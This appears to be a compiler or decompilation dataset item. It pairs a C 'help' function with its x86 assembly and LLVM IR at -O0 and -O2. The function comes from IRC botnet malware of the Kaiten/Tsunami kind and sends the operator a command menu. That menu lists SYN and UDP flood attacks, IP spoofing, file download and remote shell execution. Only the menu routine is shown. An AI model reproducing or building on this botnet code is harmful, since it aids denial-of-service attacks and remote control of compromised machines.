#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ Send(int, char *, char *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
scalar_t__ mfork(char *);
int /*<<< orphan*/ sleep(int);
void help(int sock, char *sender, int argc, char **argv) {
  if (mfork(sender) != 0)
    return;
  Send(sock,
       "NOTICE %s :TSUNAMI <target> <secs>                          = Special "
       "packeter that wont be blocked by most firewalls\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :PAN <target> <port> <secs>                       = An "
       "advanced syn flooder that will kill most network drivers\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :UDP <target> <port> <secs>                       = A udp "
       "flooder\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :UNKNOWN <target> <secs>                          = Another "
       "non-spoof udp flooder\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :NICK <nick>                                      = Changes "
       "the nick of the client\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :SERVER <server>                                  = Changes "
       "servers\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :GETSPOOFS                                        = Gets the "
       "current spoofing\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :SPOOFS <subnet>                                  = Changes "
       "spoofing to a subnet\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :DISABLE                                          = Disables "
       "all packeting from this client\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :ENABLE                                           = Enables "
       "all packeting from this client\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :KILL                                             = Kills "
       "the client\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :GET <http address> <save as>                     = "
       "Downloads a file off the web and saves it onto the hd\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :VERSION                                          = Requests "
       "version of client\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :KILLALL                                          = Kills "
       "all current packeting\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :HELP                                             = Displays "
       "this\n",
       sender);
  Send(sock,
       "NOTICE %s :IRC <command>                                    = Sends "
       "this command to the server\n",
       sender);
  sleep(2);
  Send(sock,
       "NOTICE %s :SH <command>                                     = Executes "
       "a command\n",
       sender);
  sleep(2);
  exit(0);
}


x86 assembly (clang, -O0):
<help>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0x10(%rbp),%rdi
call   1030 <mfork@plt>
cmp    $0x0,%rax
je     116f <help+0x2f>
add    $0x20,%rsp
pop    %rbp
ret
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xe83(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xedd(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xf3b(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xf6b(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xfab(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xfec(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x101e(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x105a(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x1099(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x10e3(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x112c(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x115f(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x11b7(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x11f4(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x1232(%rip),%rsi
call   1040 <Send@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x126c(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0x12af(%rip),%rsi
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
xor    %edi,%edi
call   1050 <exit@plt>

x86 assembly (clang, -O2):
<help>:
push   %rbp
push   %rbx
push   %rax
mov    %rsi,%rbx
mov    %edi,%ebp
mov    %rsi,%rdi
call   1030 <mfork@plt>
test   %rax,%rax
je     115c <help+0x1c>
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret
lea    0xe9d(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0xef9(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0xf59(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0xf8b(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0xfcd(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x1010(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x1044(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x1082(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x10c3(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x110f(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x115a(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x118f(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x11e9(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x1228(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x1268(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
lea    0x12a4(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
lea    0x12e9(%rip),%rsi
mov    %ebp,%edi
mov    %rbx,%rdx
call   1040 <Send@plt>
mov    $0x2,%edi
call   1060 <sleep@plt>
xor    %edi,%edi
call   1050 <exit@plt>

LLVM IR (-O0):
@.str = [119 x i8] c"NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls\0A\00"
@.str.1 = [123 x i8] c"NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\0A\00"
@.str.2 = [77 x i8] c"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\0A\00"
@.str.3 = [93 x i8] c"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder\0A\00"
@.str.4 = [94 x i8] c"NOTICE %s :NICK <nick> = Changes the nick of the client\0A\00"
@.str.5 = [79 x i8] c"NOTICE %s :SERVER <server> = Changes servers\0A\00"
@.str.6 = [89 x i8] c"NOTICE %s :GETSPOOFS = Gets the current spoofing\0A\00"
@.str.7 = [92 x i8] c"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet\0A\00"
@.str.8 = [103 x i8] c"NOTICE %s :DISABLE = Disables all packeting from this client\0A\00"
@.str.9 = [102 x i8] c"NOTICE %s :ENABLE = Enables all packeting from this client\0A\00"
@.str.10 = [80 x i8] c"NOTICE %s :KILL = Kills the client\0A\00"
@.str.11 = [117 x i8] c"NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\0A\00"
@.str.12 = [90 x i8] c"NOTICE %s :VERSION = Requests version of client\0A\00"
@.str.13 = [91 x i8] c"NOTICE %s :KILLALL = Kills all current packeting\0A\00"
@.str.14 = [77 x i8] c"NOTICE %s :HELP = Displays this\0A\00"
@.str.15 = [96 x i8] c"NOTICE %s :IRC <command> = Sends this command to the server\0A\00"
@.str.16 = [82 x i8] c"NOTICE %s :SH <command> = Executes a command\0A\00"
define void @help(i32 %0, i8* %1, i32 %2, i8** %3) {
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i8**
store i32 %0, i32* %5
store i8* %1, i8** %6
store i32 %2, i32* %7
store i8** %3, i8*** %8
%9 = load i8*, i8** %6
%10 = call i64 @mfork(i8* %9)
%11 = icmp ne i64 %10, 0
br i1 %11, label %12, label %13
12: ; preds = %4
ret void
13: ; preds = %4
%14 = load i32, i32* %5
%15 = load i8*, i8** %6
%16 = call i32 @Send(i32 %14, i8* getelementptr inbounds ([119 x i8], [119 x i8]* @.str, i64 0, i64 0), i8* %15)
%17 = call i32 @sleep(i32 2)
%18 = load i32, i32* %5
%19 = load i8*, i8** %6
%20 = call i32 @Send(i32 %18, i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str.1, i64 0, i64 0), i8* %19)
%21 = call i32 @sleep(i32 2)
%22 = load i32, i32* %5
%23 = load i8*, i8** %6
%24 = call i32 @Send(i32 %22, i8* getelementptr inbounds ([77 x i8], [77 x i8]* @.str.2, i64 0, i64 0), i8* %23)
%25 = call i32 @sleep(i32 2)
%26 = load i32, i32* %5
%27 = load i8*, i8** %6
%28 = call i32 @Send(i32 %26, i8* getelementptr inbounds ([93 x i8], [93 x i8]* @.str.3, i64 0, i64 0), i8* %27)
%29 = call i32 @sleep(i32 2)
%30 = load i32, i32* %5
%31 = load i8*, i8** %6
%32 = call i32 @Send(i32 %30, i8* getelementptr inbounds ([94 x i8], [94 x i8]* @.str.4, i64 0, i64 0), i8* %31)
%33 = call i32 @sleep(i32 2)
%34 = load i32, i32* %5
%35 = load i8*, i8** %6
%36 = call i32 @Send(i32 %34, i8* getelementptr inbounds ([79 x i8], [79 x i8]* @.str.5, i64 0, i64 0), i8* %35)
%37 = call i32 @sleep(i32 2)
%38 = load i32, i32* %5
%39 = load i8*, i8** %6
%40 = call i32 @Send(i32 %38, i8* getelementptr inbounds ([89 x i8], [89 x i8]* @.str.6, i64 0, i64 0), i8* %39)
%41 = call i32 @sleep(i32 2)
%42 = load i32, i32* %5
%43 = load i8*, i8** %6
%44 = call i32 @Send(i32 %42, i8* getelementptr inbounds ([92 x i8], [92 x i8]* @.str.7, i64 0, i64 0), i8* %43)
%45 = call i32 @sleep(i32 2)
%46 = load i32, i32* %5
%47 = load i8*, i8** %6
%48 = call i32 @Send(i32 %46, i8* getelementptr inbounds ([103 x i8], [103 x i8]* @.str.8, i64 0, i64 0), i8* %47)
%49 = call i32 @sleep(i32 2)
%50 = load i32, i32* %5
%51 = load i8*, i8** %6
%52 = call i32 @Send(i32 %50, i8* getelementptr inbounds ([102 x i8], [102 x i8]* @.str.9, i64 0, i64 0), i8* %51)
%53 = call i32 @sleep(i32 2)
%54 = load i32, i32* %5
%55 = load i8*, i8** %6
%56 = call i32 @Send(i32 %54, i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.10, i64 0, i64 0), i8* %55)
%57 = call i32 @sleep(i32 2)
%58 = load i32, i32* %5
%59 = load i8*, i8** %6
%60 = call i32 @Send(i32 %58, i8* getelementptr inbounds ([117 x i8], [117 x i8]* @.str.11, i64 0, i64 0), i8* %59)
%61 = call i32 @sleep(i32 2)
%62 = load i32, i32* %5
%63 = load i8*, i8** %6
%64 = call i32 @Send(i32 %62, i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.12, i64 0, i64 0), i8* %63)
%65 = call i32 @sleep(i32 2)
%66 = load i32, i32* %5
%67 = load i8*, i8** %6
%68 = call i32 @Send(i32 %66, i8* getelementptr inbounds ([91 x i8], [91 x i8]* @.str.13, i64 0, i64 0), i8* %67)
%69 = call i32 @sleep(i32 2)
%70 = load i32, i32* %5
%71 = load i8*, i8** %6
%72 = call i32 @Send(i32 %70, i8* getelementptr inbounds ([77 x i8], [77 x i8]* @.str.14, i64 0, i64 0), i8* %71)
%73 = load i32, i32* %5
%74 = load i8*, i8** %6
%75 = call i32 @Send(i32 %73, i8* getelementptr inbounds ([96 x i8], [96 x i8]* @.str.15, i64 0, i64 0), i8* %74)
%76 = call i32 @sleep(i32 2)
%77 = load i32, i32* %5
%78 = load i8*, i8** %6
%79 = call i32 @Send(i32 %77, i8* getelementptr inbounds ([82 x i8], [82 x i8]* @.str.16, i64 0, i64 0), i8* %78)
%80 = call i32 @sleep(i32 2)
%81 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@.str = [119 x i8] c"NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls\0A\00"
@.str.1 = [123 x i8] c"NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\0A\00"
@.str.2 = [77 x i8] c"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\0A\00"
@.str.3 = [93 x i8] c"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder\0A\00"
@.str.4 = [94 x i8] c"NOTICE %s :NICK <nick> = Changes the nick of the client\0A\00"
@.str.5 = [79 x i8] c"NOTICE %s :SERVER <server> = Changes servers\0A\00"
@.str.6 = [89 x i8] c"NOTICE %s :GETSPOOFS = Gets the current spoofing\0A\00"
@.str.7 = [92 x i8] c"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet\0A\00"
@.str.8 = [103 x i8] c"NOTICE %s :DISABLE = Disables all packeting from this client\0A\00"
@.str.9 = [102 x i8] c"NOTICE %s :ENABLE = Enables all packeting from this client\0A\00"
@.str.10 = [80 x i8] c"NOTICE %s :KILL = Kills the client\0A\00"
@.str.11 = [117 x i8] c"NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\0A\00"
@.str.12 = [90 x i8] c"NOTICE %s :VERSION = Requests version of client\0A\00"
@.str.13 = [91 x i8] c"NOTICE %s :KILLALL = Kills all current packeting\0A\00"
@.str.14 = [77 x i8] c"NOTICE %s :HELP = Displays this\0A\00"
@.str.15 = [96 x i8] c"NOTICE %s :IRC <command> = Sends this command to the server\0A\00"
@.str.16 = [82 x i8] c"NOTICE %s :SH <command> = Executes a command\0A\00"
define void @help(i32 %0, i8* %1, i32 %2, i8** nocapture readnone %3) {
%5 = tail call i64 @mfork(i8* %1)
%6 = icmp eq i64 %5, 0
br i1 %6, label %8, label %7
7: ; preds = %4
ret void
8: ; preds = %4
%9 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([119 x i8], [119 x i8]* @.str, i64 0, i64 0), i8* %1)
%10 = tail call i32 @sleep(i32 2)
%11 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([123 x i8], [123 x i8]* @.str.1, i64 0, i64 0), i8* %1)
%12 = tail call i32 @sleep(i32 2)
%13 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([77 x i8], [77 x i8]* @.str.2, i64 0, i64 0), i8* %1)
%14 = tail call i32 @sleep(i32 2)
%15 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([93 x i8], [93 x i8]* @.str.3, i64 0, i64 0), i8* %1)
%16 = tail call i32 @sleep(i32 2)
%17 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([94 x i8], [94 x i8]* @.str.4, i64 0, i64 0), i8* %1)
%18 = tail call i32 @sleep(i32 2)
%19 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([79 x i8], [79 x i8]* @.str.5, i64 0, i64 0), i8* %1)
%20 = tail call i32 @sleep(i32 2)
%21 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([89 x i8], [89 x i8]* @.str.6, i64 0, i64 0), i8* %1)
%22 = tail call i32 @sleep(i32 2)
%23 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([92 x i8], [92 x i8]* @.str.7, i64 0, i64 0), i8* %1)
%24 = tail call i32 @sleep(i32 2)
%25 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([103 x i8], [103 x i8]* @.str.8, i64 0, i64 0), i8* %1)
%26 = tail call i32 @sleep(i32 2)
%27 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([102 x i8], [102 x i8]* @.str.9, i64 0, i64 0), i8* %1)
%28 = tail call i32 @sleep(i32 2)
%29 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%30 = tail call i32 @sleep(i32 2)
%31 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([117 x i8], [117 x i8]* @.str.11, i64 0, i64 0), i8* %1)
%32 = tail call i32 @sleep(i32 2)
%33 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.12, i64 0, i64 0), i8* %1)
%34 = tail call i32 @sleep(i32 2)
%35 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([91 x i8], [91 x i8]* @.str.13, i64 0, i64 0), i8* %1)
%36 = tail call i32 @sleep(i32 2)
%37 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([77 x i8], [77 x i8]* @.str.14, i64 0, i64 0), i8* %1)
%38 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([96 x i8], [96 x i8]* @.str.15, i64 0, i64 0), i8* %1)
%39 = tail call i32 @sleep(i32 2)
%40 = tail call i32 @Send(i32 %0, i8* getelementptr inbounds ([82 x i8], [82 x i8]* @.str.16, i64 0, i64 0), i8* %1)
%41 = tail call i32 @sleep(i32 2)
%42 = tail call i32 @exit(i32 0)
unreachable
}